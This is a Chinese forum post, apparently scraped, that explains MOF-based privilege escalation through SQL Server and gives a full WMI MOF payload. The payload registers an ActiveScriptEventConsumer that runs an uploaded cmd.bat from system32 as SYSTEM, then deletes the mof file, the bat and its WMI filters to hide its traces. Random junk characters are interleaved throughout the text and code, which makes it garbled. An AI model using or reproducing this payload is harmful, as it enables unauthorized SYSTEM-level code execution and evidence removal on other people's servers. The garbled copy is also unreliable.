这个sql提权MOF需要运行 system下的文件,不能定义路径。
* w! |# A3 n( B需要将要运行的命令写入到bat上传到system32目录,然后执行。2 }+ ~' `. [: o4 D$ D
2 o7 L& ~4 C* P9 y: I
这个sql提权MOF需要运行 system下的文件,不能定义路径。
- D+ P, a; l7 `5 H* M9 I2 H需要将要运行的命令写入到bat上传到system32目录,然后执行。/ w+ F% e2 V% r' j7 ~. K8 \
' T& T" T9 k u" I D9 d& j$ f#pragma2 ^, e7 x3 W% u0 F
namespace("\\\\.\\root\\cimv2"); ?9 c2 @+ i( O
class( S2 }* D3 l! ?) u0 j1 T
MyClass547
4 M% q4 q+ G' A& [: Y9 S { [key]& O2 _! }4 Z/ l$ ^" z# H) l
string
" f; {- q! @3 j Name;
4 k1 `# q7 W( n0 d };
( C+ B0 g) E7 F3 \5 R p class
6 n- t+ ~7 b/ f" ^; i ActiveScriptEventConsumer* }$ n' j, z( ~% n$ a( a2 O$ r* l# `) N
: __EventConsumer { [key]
! l+ v$ W$ n8 A/ o& b: [% |& [ string
% Y. I ~) n3 P" | Name; [not_null]
* s) I$ I+ \% i! T2 U string
5 a- d& w/ L$ n3 \/ a; j7 F ScriptingEngine; string {4 Z7 p R9 X2 W" |% x4 I6 y H3 R
ScriptFileName; [template]
& P7 y2 v3 x' I string; S) h5 U1 Q3 T% R" _
ScriptText; uint32 KillTimeout;' L" {6 U- d( F, M
}; instance of __Win32Provider as $P {
& o4 S- z7 F% a2 l$ p+ n/ k2 D Name
# ?# [' S) C5 h8 l =& k+ U5 V% H+ H) Z: l5 J
"ActiveScriptEventConsumer"; CLSID =) w4 j" w! |- f; T6 x
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
6 p% _& W* n. m' H; K3 I' `% V PerUserInitialization/ O0 K8 I# ~+ y, e
= TRUE;
) X. J( s, k) w0 I, n6 w: D" p }; instance of __EventConsumerProviderRegistration { Provider6 ^5 |: m& S. D7 W2 |1 C K
= $P; ConsumerClassNames" o# \6 `5 H0 w- y2 @
=
2 l& w- [. f* e& Q/ j# m' j1 [ {"ActiveScriptEventConsumer"};2 ~% [. b7 l$ M3 m
};
" Z- U; ~& a% N5 b c Instance of ActiveScriptEventConsumer1 d z8 \/ n' I9 b
as $cons { Name) D4 b2 V' L# ]7 j' V: c) p6 h
=8 e+ w% T7 l' S* h* N
"ASEC"; ScriptingEngine; O& b: F- |; N
=
# o X, o* `* V. F+ O1 r "JScript"; ScriptText
" V$ y+ s) X( r* q2 T6 G2 r) F =- q7 ^* t6 P d6 l4 W
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };( E+ C% M: R2 Z9 s6 m! q' l' E/ w; k
Instance of ActiveScriptEventConsumer
( J* Q' V% n) m4 b) P as $cons2 { Name
6 `8 p" }" e7 D) ~5 C1 O =) x% l! c4 G+ l; M2 G o) ?- Y
"qndASEC"; ScriptingEngine
# P X& _$ U( _) }& |6 w =
. f7 p P6 U q1 K$ W "JScript"; ScriptText2 [! x* P5 w) Z3 ^2 {% l4 P
=
. x8 O' q3 B( w* s "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";/ K4 I$ {3 X( X; a* M
}; instance of __EventFilter as $Filt { Name
) {9 k! @ T/ `% O$ O( _ =
1 q; p. h& C Q, k "instfilt"; Query
# }" q f+ D3 k0 E =: s, Z$ v* |4 H1 [ T2 Q
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage0 ?. `% b: [; n
=" D' T4 O9 y' W3 P# G) @: z
"WQL"; }; instance of __EventFilter as $Filt2 { Name0 I- ]9 U' y d) h" E: [
=
9 \ e6 x$ _+ I "qndfilt"; Query
8 g! G# N5 X2 ?' h C z =* \0 D' _8 G& f. q4 d
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage" q5 y/ u. s# ?0 C
=
% ]- s9 Z( O$ l. z "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer4 m' F, ?5 ^4 N$ ^4 h _" P0 t N1 W
= $cons; Filter& r# m0 ?1 W; p
= $Filt;
3 f& {/ k/ l7 l5 p8 m& ? }; instance of __FilterToConsumerBinding as $bind2 { Consumer
& b) t Y( F. S, x3 f% h = $cons2; Filter6 [; z' d7 L4 r
= $Filt2;
7 o& Q6 Q9 I% \ }; instance of MyClass547
: a6 R; o+ Z" y, f$ Z6 M as $MyClass { Name
+ P4 e& d$ H5 ~ =
: g- ?( K. j, a. q4 q" f& N1 r "ClassConsumer";
$ s3 V, T& U" |: ?/ L E- J4 f }; |